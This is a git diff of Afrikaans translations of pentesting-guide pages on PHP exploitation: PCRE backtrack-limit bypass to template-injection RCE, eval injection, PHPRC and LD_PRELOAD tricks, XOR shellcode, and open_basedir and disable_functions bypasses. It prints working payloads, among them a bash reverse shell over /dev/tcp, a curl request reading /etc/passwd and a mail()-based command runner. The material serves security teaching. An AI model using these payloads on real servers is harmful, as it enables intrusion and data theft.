-In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings ooreenstem deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas. +In kort gebeur die probleem omdat die `preg_*` funksies in PHP op die [PCRE biblioteek](http://www.pcre.org/) bou. In PCRE word sekere gereelde uitdrukkings gematch deur 'n groot aantal rekursiewe oproepe te gebruik, wat baie stapelruimte gebruik. Dit is moontlik om 'n limiet op die aantal toegelate rekursies in te stel, maar in PHP is hierdie limiet [standaard op 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) wat meer is as wat in die stapel pas. [Hierdie Stackoverflow draad](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) is ook in die pos gekoppel waar daar meer in diepte oor hierdie probleem gepraat word. Ons taak was nou duidelik:\ **Stuur 'n invoer wat die regex 100_000+ rekursies sal laat doen, wat SIGSEGV veroorsaak, wat die `preg_match()` funksie laat terugkeer `false` en dus die aansoek laat dink dat ons invoer nie kwaadwillig is nie, wat die verrassing aan die einde van die payload iets soos `{system()}` laat wees om SSTI --> RCE --> vlag :)**. Wel, in regex terme, doen ons nie eintlik 100k "rekursies" nie, maar eerder tel ons "terugspoel stappe", wat soos die [PHP dokumentasie](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) sê, standaard op 1_000_000 (1M) in die `pcre.backtrack_limit` veranderlike is.\ -Om dit te bereik, sal `'X'*500_001` 1 miljoen terugspoel stappe oplewer (500k vorentoe en 500k agtertoe): +Om dit te bereik, sal `'X'*500_001` lei tot 1 miljoen terugspoel stappe (500k vorentoe en 500k agtertoe): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Tipe Juggling vir PHP obfuskerings +### Tipe Juggling vir PHP obfuscation ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -130,9 +130,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7 $obfs .= ""; //string "7" $obfs += ""; //int 7 ``` -## Voer Uit Na Oorplasing (EAR) +## Execute After Redirect (EAR) -As PHP na 'n ander bladsy oorplaas, maar geen **`die`** of **`exit`** funksie is **opgeroep nadat die koptekst `Location`** gestel is nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam: +As PHP na 'n ander bladsy herlei, maar geen **`die`** of **`exit`** funksie is **na die kop `Location`** ingestel nie, gaan die PHP voort om uit te voer en voeg die data by die liggaam: ```php ** om te sien of die php gidse geaktiveer is. - [**LFI en RCE met behulp van php wrappers**](../../../pentesting-web/file-inclusion/) @@ -183,7 +183,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Vul 'n liggaam in voordat jy koptekste stel -As 'n **PHP-bladsy foute druk en terugvoer gee van insette wat deur die gebruiker verskaf is**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\ +As 'n **PHP-bladsy foute druk en sommige invoer wat deur die gebruiker verskaf is, teruggee**, kan die gebruiker die PHP-bediener dwing om 'n **inhoud wat lank genoeg is** te druk sodat wanneer dit probeer om die **koptekste** in die antwoord by te voeg, die bediener 'n fout sal gooi.\ In die volgende scenario het die **aanvaller die bediener gedwing om groot foute te gooi**, en soos jy in die skerm kan sien, toe php probeer het om die **kopinligting te wysig, kon dit nie** (soos byvoorbeeld die CSP-kop nie aan die gebruiker gestuur is nie): ![](<../../../images/image (1085).png>) @@ -227,9 +227,9 @@ Hierdie funksie binne php laat jou toe om **kode wat in 'n string geskryf is uit ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -U sal die **kode** **sintaksis** **moet breek**, **jou** **payload** **byvoeg** en dan **dit weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" werk nie omdat ons payload nie uitgevoer sal word nie. +U sal die **kode** **sintaksis** **moet breek**, **jou** **payload** **byvoeg** en dan **dit weer regmaak**. U kan **logiese operasies** soos "**and" of "%26%26" of "|"** gebruik. Let daarop dat "or", "||" nie werk nie omdat as die eerste voorwaarde waar is, ons payload nie uitgevoer sal word nie. Dieselfde geld ";" wat nie werk nie, aangesien ons payload nie uitgevoer sal word nie. -**Ander opsie** is om die uitvoering van die opdrag aan die string toe te voeg: `'.highlight_file('.passwd').'` +**Ander opsie** is om die uitvoering van die opdrag by die string te voeg: `'.highlight_file('.passwd').'` **Ander opsie** (as u die interne kode het) is om 'n paar veranderlikes te wysig om die uitvoering te verander: `$file = "hola"` @@ -266,21 +266,21 @@ Om die aantal hakies wat u moet sluit te ontdek: ### **RCE via .httaccess** -As u **'n .htaccess kan oplaai**, kan u **verskeie dinge konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess kan **uitgevoer** word). +As u 'n **.htaccess** kan **oplaai**, kan u verskeie dinge **konfigureer** en selfs kode uitvoer (om te konfigureer dat lêers met die uitbreiding .htaccess kan **uitgevoer** word). Verskillende .htaccess shells kan [hier](https://github.com/wireghoul/htshells) gevind word. ### RCE via Env Variabeles -As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP te wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry. +As u 'n kwesbaarheid vind wat u toelaat om **omgewingsvariabeles in PHP** te **wysig** (en nog een om lêers op te laai, alhoewel met meer navorsing kan dit miskien omseil word), kan u hierdie gedrag misbruik om **RCE** te verkry. - [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld_preload-and-ld_library_path): Hierdie omgewingsvariabele laat u toe om arbitrêre biblioteke te laai wanneer u ander binêre uitvoer (alhoewel dit in hierdie geval dalk nie sal werk nie). -- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP runtime uitgevoer word voordat enige ander kode. -1. Laai 'n PHP-lêer op wat ons shellcode bevat -2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP voorverwerker instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer +- **`PHPRC`** : Gee PHP instruksies oor **waar om sy konfigurasielêer te vind**, wat gewoonlik `php.ini` genoem word. As u u eie konfigurasielêer kan oplaai, gebruik dan `PHPRC` om PHP daarop te wys. Voeg 'n **`auto_prepend_file`** inskrywing by wat 'n tweede opgelaaide lêer spesifiseer. Hierdie tweede lêer bevat normale **PHP kode, wat dan** deur die PHP-runtime uitgevoer word voordat enige ander kode. +1. Laai 'n PHP-lêer op wat ons shellcode bevat. +2. Laai 'n tweede lêer op, wat 'n **`auto_prepend_file`** riglyn bevat wat die PHP-preprocessor instrueer om die lêer wat ons in stap 1 opgelaai het, uit te voer. 3. Stel die `PHPRC` variabele in op die lêer wat ons in stap 2 opgelaai het. - Kry meer inligting oor hoe om hierdie ketting uit te voer [**uit die oorspronklike verslag**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/). -- **PHPRC** - 'n ander opsie +- **PHPRC** - 'n ander opsie. - As u **nie lêers kan oplaai nie**, kan u in FreeBSD die "lêer" `/dev/fd/0` gebruik wat die **`stdin`** bevat, wat die **liggaam** van die versoek is wat na die `stdin` gestuur is: - `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'` - Of om RCE te verkry, stel **`allow_url_include`** in en voeg 'n lêer met **base64 PHP kode** voor: @@ -374,21 +374,21 @@ $_($___); #If ¢___ not needed then $_($__), show_source(.passwd) ``` ### XOR maklik shell kode -Volgens [**hierdie skrywe** ](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike shellkode op hierdie manier te genereer: +Volgens [**hierdie skrywe**](https://mgp25.com/ctf/Web-challenge/) is dit moontlik om 'n maklike shellkode op hierdie manier te genereer: ```php $_="`{{{"^"?<>/"; // $_ = '_GET'; ${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]); $_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]); ``` -So, as jy **arbitraire PHP sonder nommers en letters kan uitvoer** kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer: +So, as jy **arbitraire PHP kan uitvoer sonder nommers en letters** kan jy 'n versoek soos die volgende stuur wat daardie payload misbruik om arbitraire PHP uit te voer: ``` POST: /action.php?_=system&__=cat+flag.php Content-Type: application/x-www-form-urlencoded comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); ``` -Vir 'n meer diepgaande verduideliking, kyk [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) +Vir 'n meer diepgaande verduideliking, kyk na [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match) ### XOR Shellcode (binne eval) ```bash diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 5f73a438a..fb22272c3 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -10,7 +10,7 @@ Die skepping van nuwe arbitrêre objek, soos `new $_GET["a"]($_GET["a"])`, kan l ## RCE via Aangepaste Klasse of Autoloading -Die sintaksis `new $a($b)` word gebruik om 'n objek te instantiëer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays kan wees, of van JSON, waar hulle as ander tipes mag voorkom. +Die sintaksis `new $a($b)` word gebruik om 'n objek te instantiëer waar **`$a`** die klasnaam verteenwoordig en **`$b`** die eerste argument is wat aan die konstruktors oorhandig word. Hierdie veranderlikes kan afkomstig wees van gebruikersinsette soos GET/POST, waar hulle moontlik strings of arrays is, of van JSON, waar hulle as ander tipes mag voorkom. Oorweeg die kode-snippet hieronder: ```php @@ -31,9 +31,9 @@ $b = $_GET['b']; new $a($b); ``` -In hierdie geval lei die instelling van `$a` na `App` of `App2` en `$b` na 'n stelselaanroep (bv. `uname -a`) tot die uitvoering van daardie aanroep. +In hierdie geval, om `$a` op `App` of `App2` en `$b` op 'n stelselaanroep (bv. `uname -a`) te stel, lei tot die uitvoering van daardie aanroep. -**Outomatiese laai funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met `spl_autoload_register` of `__autoload`: +**Outomatiese laai funksies** kan uitgebuit word as daar geen sulke klasse direk toeganklik is nie. Hierdie funksies laai outomaties klasse vanaf lêers wanneer nodig en word gedefinieer met behulp van `spl_autoload_register` of `__autoload`: ```php spl_autoload_register(function ($class_name) { include './../classes/' . $class_name . '.php'; @@ -49,9 +49,9 @@ Die gedrag van outomatiese laai varieer met PHP weergawes, wat verskillende RCE ## RCE via Ingeboude Klasse -In die afwesigheid van persoonlike klasse of outomatiese laaiers, kan **ingeboude PHP klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met `get_declared_classes()`. +In die afwesigheid van pasgemaakte klasse of outomatiese laaiers, kan **ingeboude PHP klasse** voldoende wees vir RCE. Die aantal van hierdie klasse wissel tussen 100 en 200, gebaseer op die PHP weergawe en uitbreidings. Hulle kan gelys word met `get_declared_classes()`. -Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF). +Konstruktors van belang kan geïdentifiseer word deur die refleksie API, soos in die volgende voorbeeld en die skakel [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF) getoon. **RCE via spesifieke metodes sluit in:** @@ -75,15 +75,15 @@ Weergawes van PHP tot 5.3.22 en 5.4.12 was vatbaar vir XXE-aanvalle deur die `So ## RCE via Imagick-uitbreiding -In die analise van 'n **projek se afhanklikhede** is ontdek dat **Imagick** benut kan word vir **opdraguitvoering** deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut. +In die analise van 'n **projek se afhanklikhede**, is ontdek dat **Imagick** benut kan word vir **opdraguitvoering** deur nuwe voorwerpe te instansieer. Dit bied 'n geleentheid om kwesbaarhede te benut. ### VID parser -Die VID parser se vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik. +Die VID parser vermoë om inhoud na enige gespesifiseerde pad in die lêerstelsel te skryf, is geïdentifiseer. Dit kan lei tot die plasing van 'n PHP-shel in 'n web-toeganklike gids, wat Remote Code Execution (RCE) bereik. #### VID Parser + Lêeroplaai -Daar word opgemerk dat PHP tydelik opgelaaide lêers stoor in `/tmp/phpXXXXXX`. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan wildcard-teken in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik. +Daar word opgemerk dat PHP tydelik opgelaaide lêers stoor in `/tmp/phpXXXXXX`. Die VID parser in Imagick, wat die **msl** protokol gebruik, kan wildcard in lêerpaaie hanteer, wat die oordrag van die tydelike lêer na 'n gekose ligging vergemaklik. Hierdie metode bied 'n addisionele benadering om arbitrêre lêer skryf binne die lêerstelsel te bereik. ### PHP Crash + Brute Force diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md index 8bfa6d42e..0420b756b 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/README.md @@ -12,15 +12,15 @@ ```bash echo exec("uname -a"); ``` -**passthru** - Stuur die opdragte se uitvoer direk na die blaaier +**passthru** - Gee die opdragte se uitvoer direk aan die blaaier deur ```bash echo passthru("uname -a"); ``` -**stelsel** - Gee die opdragte se uitvoer direk aan die blaaier en keer die laaste lyn terug +**stelsel** - Gee die opdragte se uitvoer direk aan die blaaiert en keer die laaste lyn terug ```bash echo system("uname -a"); ``` -**shell_exec** - Gee die uitvoer van opdragte terug +**shell_exec** - Gee die opdrag se uitvoer terug ```bash echo shell_exec("uname -a"); ``` @@ -28,7 +28,7 @@ echo shell_exec("uname -a"); ```bash echo `uname -a` ``` -**popen** - Maak 'n lees- of skryfpyp na die proses van 'n opdrag oop +**popen** - Maak 'n lees- of skryfpyp na 'n proses van 'n opdrag oop ```bash echo fread(popen("/bin/ls /", "r"), 4096); ``` @@ -44,7 +44,7 @@ proc_close(proc_open("uname -a",array(),$something)); ```bash pcntl_exec("/bin/bash", ["-c", "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"]); ``` -**mail / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrêre opdragte binne die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binêre binne die stelsel aanroep en dit jou toelaat om **addisionele opsies** te plaas. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lêer skryf, dit met mail uit te voer, en die uitvoer te druk: +**mail / mb_send_mail** - Hierdie funksie word gebruik om e-posse te stuur, maar dit kan ook misbruik word om arbitrêre opdragte binne die `$options` parameter in te spuit. Dit is omdat die **php `mail` funksie** gewoonlik die `sendmail` binêre binne die stelsel aanroep en dit jou toelaat om **bykomende opsies** in te voeg. Jy sal egter nie die uitvoer van die uitgevoerde opdrag kan sien nie, so dit word aanbeveel om 'n shell-skrip te skep wat die uitvoer na 'n lêer skryf, dit met mail uit te voer, en die uitvoer te druk: ```bash file_put_contents('/www/readflag.sh', base64_decode('IyEvYmluL3NoCi9yZWFkZmxhZyA+IC90bXAvZmxhZy50eHQKCg==')); chmod('/www/readflag.sh', 0777); mail('', '', '', '', '-H \"exec /www/readflag.sh\"'); echo file_get_contents('/tmp/flag.txt'); ``` @@ -85,10 +85,10 @@ Beide konfigurasies kan in die uitvoer van **`phpinfo()`** gesien word: ## open_basedir Bypass -`open_basedir` sal die vouers konfigureer wat PHP kan toegang hê, jy **sal nie in staat wees om enige lêer buite** daardie vouers te skryf/lees/uit te voer nie, maar jy **sal selfs nie in staat wees om** ander gidsen te lys nie.\ +`open_basedir` sal die vouers konfigureer wat PHP kan toegang hê, jy **sal nie in staat wees om enige lêer buite** daardie vouers te skryf/lees/uit te voer nie, maar jy **sal selfs nie in staat wees om** ander gidse te lys nie.\ As jy egter op een of ander manier in staat is om arbitrêre PHP kode uit te voer, kan jy **probeer** die volgende stuk **kode** om te probeer om die beperking te **omseil**. -### Lys gidsen met glob:// omseiling +### Lys gidse met glob:// omseiling In hierdie eerste voorbeeld word die `glob://` protokol met 'n paar pad omseilings gebruik: ```php @@ -108,10 +108,10 @@ echo "{$f}
"; } ``` **Nota1**: In die pad kan jy ook `/e??/*` gebruik om `/etc/*` en enige ander gids te lys.\ -**Nota2**: Dit lyk asof 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!\ +**Nota2**: Dit lyk of 'n deel van die kode gedupliseer is, maar dit is eintlik nodig!\ **Nota3**: Hierdie voorbeeld is slegs nuttig om gidse te lys, nie om lêers te lees nie. -### Volledige open_basedir omseiling deur FastCGI te misbruik +### Volledige open_basedir omseiling deur FastCGI As jy **meer oor PHP-FPM en FastCGI wil leer** kan jy die [eerste afdeling van hierdie bladsy](disable_functions-bypass-php-fpm-fastcgi.md) lees.\ As **`php-fpm`** geconfigureer is, kan jy dit misbruik om **open_basedir** heeltemal te omseil: @@ -478,11 +478,11 @@ Let ook op die **gekommenteerde lyn 324**, jy kan dit ontkommentarieer en die ** Toegang net tot `http://vulnerable.com:1337/l.php?cmd=echo file_get_contents('/etc/passwd');` om die inhoud van die `/etc/passwd` lêer te kry. > [!WARNING] -> Jy mag dalk dink dat net soos ons die `open_basedir` konfigurasie oorgeskryf het, ons ook **`disable_functions`** kan **oorgeskryf**. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan **`disable_functions` slegs in 'n `.ini` php** konfigurasie lêer gekonfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie. +> Jy mag dalk dink dat net soos ons die `open_basedir` konfigurasie oorgeskryf het, ons ook **`disable_functions`** kan **oorgeskryf**. Wel, probeer dit, maar dit sal nie werk nie, blykbaar kan **`disable_functions` slegs in 'n `.ini` php** konfigurasielêer gekonfigureer word en die veranderinge wat jy met PHP_VALUE maak, sal nie effektief wees op hierdie spesifieke instelling nie. ## disable_functions Bypass -As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en **arbitrêre stelselskommando's uitvoer**. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP **funksies** wat toelaat om **stelselskommando's uit te voer, gedeaktiveer is** in **`disable_functions`.**\ +As jy daarin slaag om PHP kode binne 'n masjien uit te voer, wil jy waarskynlik na die volgende vlak gaan en **arbitrêre stelselinstruksies uitvoer**. In hierdie situasie is dit gewoonlik om te ontdek dat die meeste of al die PHP **funksies** wat toelaat om **stelselinstruksies uit te voer, gedeaktiveer is** in **`disable_functions`.**\ Kom ons kyk hoe jy hierdie beperking kan omseil (as jy kan). ### Outomatiese omseiling ontdekking @@ -491,11 +491,11 @@ Jy kan die hulpmiddel [https://github.com/teambi0s/dfunc-bypasser](https://githu ### Omseiling met ander stelselfunksies -Keer net terug na die begin van hierdie bladsy en **kyk of enige van die kommando-uitvoerende funksies nie gedeaktiveer is en beskikbaar is in die omgewing nie**. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrêre stelselskommando's uit te voer. +Keer net terug na die begin van hierdie bladsy en **kyk of enige van die funksies wat opdragte uitvoer nie gedeaktiveer is en beskikbaar is in die omgewing nie**. As jy net 1 van hulle vind, sal jy dit kan gebruik om arbitrêre stelselinstruksies uit te voer. ### LD_PRELOAD omseiling -Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries binne die stelsel uitvoer**. Daarom kan jy hulle misbruik deur die omgewingsvariabele `LD_PRELOAD` te gebruik om hulle 'n arbitrêre biblioteek te laat laai wat enigiets kan uitvoer. +Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries binne die stelsel uitvoer**. Daarom kan jy hulle misbruik deur die omgewing veranderlike `LD_PRELOAD` te gebruik om hulle 'n arbitrêre biblioteek te laat laai wat enigiets kan uitvoer. #### Funksies wat gebruik kan word om disable_functions met LD_PRELOAD te omseil @@ -508,7 +508,7 @@ Dit is goed bekend dat sommige funksies in PHP soos `mail()` gaan **binaries bin Jy kan [**hier vind**](https://github.com/tarunkant/fuzzphunc/blob/master/lazyFuzzer.py) die fuzzing skrip wat gebruik is om daardie funksies te vind. -Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewingsvariabele te misbruik: +Hier is 'n biblioteek wat jy kan saamstel om die `LD_PRELOAD` omgewing veranderlike te misbruik: ```php #include #include @@ -524,10 +524,10 @@ return 1; #### Bypass using Chankro Om hierdie miskonfigurasie te misbruik, kan jy [**Chankro**](https://github.com/TarlogicSecurity/Chankro) gebruik. Dit is 'n hulpmiddel wat 'n **PHP exploit** sal genereer wat jy na die kwesbare bediener moet oplaai en uitvoer (toegang dit via web).\ -**Chankro** sal binne die slagoffers se skyf die **biblioteek en die omgekeerde skulp** wat jy wil uitvoer, skryf en die\*\*`LD_PRELOAD` truuk + PHP `mail()`\*\* funksie gebruik om die omgekeerde skulp uit te voer. +**Chankro** sal binne die slagoffer se skyf die **biblioteek en die omgekeerde skulp** wat jy wil uitvoer, skryf en die\*\*`LD_PRELOAD` truuk + PHP `mail()`\*\* funksie gebruik om die omgekeerde skulp uit te voer. Let daarop dat om **Chankro** te gebruik, `mail` en `putenv` **nie in die `disable_functions` lys mag verskyn nie**.\ -In die volgende voorbeeld kan jy sien hoe om 'n **chankro exploit** te **skep** vir **arch 64**, wat `whoami` sal uitvoer en die uitset in _/tmp/chankro_shell.out_ sal stoor, chankro sal **die biblioteek en die payload** in _/tmp_ skryf en die **finale exploit** gaan **bicho.php** genoem word (dit is die lêer wat jy na die slagoffers se bediener moet oplaai): +In die volgende voorbeeld kan jy sien hoe om 'n **chankro exploit** te **skep** vir **arch 64**, wat `whoami` sal uitvoer en die uitset in _/tmp/chankro_shell.out_ sal stoor, chankro sal **die biblioteek en die payload** in _/tmp_ skryf en die **finale exploit** gaan **bicho.php** genoem word (dit is die lêer wat jy na die slagoffer se bediener moet oplaai): {{#tabs}} {{#tab name="shell.sh"}} @@ -551,7 +551,7 @@ Meer inligting oor hierdie tegniek en Chankro hier: [https://www.tarlogic.com/en Let daarop dat jy met **PHP** **lêers kan lees en skryf, directories kan skep en toestemmings kan verander**.\ Jy kan selfs **databasisse dump**.\ -Miskien kan jy met **PHP** die boks **enumerate** en 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees). +Miskien kan jy met **PHP** om die boks te **enumerate** 'n manier vind om voorregte te verhoog/opdragte uit te voer (byvoorbeeld om 'n private ssh-sleutel te lees). Ek het 'n webshell geskep wat dit baie maklik maak om hierdie aksies uit te voer (let daarop dat die meeste webshells jou ook hierdie opsies sal bied): [https://github.com/carlospolop/phpwebshelllimited](https://github.com/carlospolop/phpwebshelllimited) @@ -573,7 +573,7 @@ Daar is verskeie maniere om disable_functions te omseil as 'n spesifieke module - 7.3 - alle weergawes tot op hede - 7.4 - alle weergawes tot op hede - 8.0 - alle weergawes tot op hede -- [**Van 7.0 tot 8.0 exploit (slegs Unix)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) +- [**Van 7.0 tot 8.0 exploit (Unix slegs)**](https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php) - [**PHP 7.0=7.4 (\*nix)**](disable_functions-bypass-php-7.0-7.4-nix-only.md#php-7-0-7-4-nix-only) - [**Imagick 3.3.0 PHP >= 5.4**](disable_functions-bypass-imagick-less-than-3.3.0-php-greater-than-5.4-exploit.md) - [**PHP 5.x Shellsock**](disable_functions-php-5.x-shellshock-exploit.md) @@ -593,7 +593,7 @@ Die volgende skrip probeer sommige van die metodes wat hier bespreek is:\ ### Lys van funksies wat callbacks aanvaar -Hierdie funksies aanvaar 'n string parameter wat gebruik kan word om 'n funksie van die aanvaller se keuse aan te roep. Afhangende van die funksie mag die aanvaller al dan nie die vermoë hê om 'n parameter deur te gee. In daardie geval kan 'n Inligtingsontsluiting funksie soos phpinfo() gebruik word. +Hierdie funksies aanvaar 'n string parameter wat gebruik kan word om 'n funksie van die aanvaller se keuse aan te roep. Afhangende van die funksie mag die aanvaller al dan nie die vermoë hê om 'n parameter deur te gee nie. In daardie geval kan 'n Inligtingsontsluiting funksie soos phpinfo() gebruik word. [Callbacks / Callables](https://www.php.net/manual/en/language.types.callable.php) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md index 359ba0ed3..f6375131c 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-dl-function.md @@ -9,11 +9,11 @@ Dit het egter 'n paar streng beperkings: - Die `dl` funksie moet **teenwoordig** wees in die **omgewing** en **nie gedeaktiveer** wees nie - Die PHP-uitbreiding **moet saamgecompileer wees met dieselfde hoofweergawe** (PHP API-weergawe) wat die bediener gebruik (jy kan hierdie inligting in die uitvoer van phpinfo sien) -- Die PHP-uitbreiding moet **geleë wees in die gids** wat **gedefinieer** is deur die **`extension_dir`** riglyn (jy kan dit in die uitvoer van phpinfo sien). Dit is baie onwaarskynlik dat 'n aanvaller wat probeer om die bediener te misbruik, skrywe toegang oor hierdie gids sal hê, so hierdie vereiste sal waarskynlik voorkom dat jy hierdie tegniek misbruik). +- Die PHP-uitbreiding moet **geleë wees in die gids** wat **gedefinieer** is deur die **`extension_dir`** riglyn (jy kan dit in die uitvoer van phpinfo sien). Dit is baie onwaarskynlik dat 'n aanvaller wat probeer om die bediener te misbruik, skryfreëls oor hierdie gids sal hê, so hierdie vereiste sal waarskynlik voorkom dat jy hierdie tegniek misbruik). **As jy aan hierdie vereistes voldoen, gaan voort om die pos te lees** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **om te leer hoe om disable_functions te omseil**. Hier is 'n opsomming: -Die [dl funksie](http://www.php.net/manual/en/function.dl.php) word gebruik om PHP-uitbreidings dinamies te laai tydens skripuitvoering. PHP-uitbreidings, tipies geskryf in C/C++, verbeter PHP se funksionaliteit. Die aanvaller, toe hy opgemerk het dat die `dl` funksie nie gedeaktiveer is nie, besluit om 'n pasgemaakte PHP-uitbreiding te skep om stelselsopdragte uit te voer. +Die [dl funksie](http://www.php.net/manual/en/function.dl.php) word gebruik om PHP-uitbreidings dinamies te laai tydens skripuitvoering. PHP-uitbreidings, wat tipies in C/C++ geskryf is, verbeter PHP se funksionaliteit. Die aanvaller, toe hy opgemerk het dat die `dl` funksie nie gedeaktiveer is nie, besluit om 'n pasgemaakte PHP-uitbreiding te skep om stelselsopdragte uit te voer. ### Stappe Geneem deur die Aanvaller: @@ -68,14 +68,14 @@ php -i | grep "Zend Extension Build" |awk -F"API4" '{print $2}' | awk -F"," '{pr 1. **Weergawe Kompatibiliteit:** -- Verseker dat PHP API-weergawe ooreenstem tussen die aanvaller se en die slachtoffer se stelsels. +- Verseker dat PHP API-weergawe ooreenstem tussen die aanvaller se en die slagoffer se stelsels. 2. **Uitbreiding Laai:** - Gebruik die `dl` funksie, wat beperkings omseil deur relatiewe paaie of 'n skrip te gebruik om die proses te outomatiseer. 3. **Skrip Uitvoering:** -- Die aanvaller laai `bypass.so` en 'n PHP-skrip na die slachtoffer se bediener op. +- Die aanvaller laai `bypass.so` en 'n PHP-skrip na die slagoffer se bediener op. - Die skrip gebruik `dl_local` 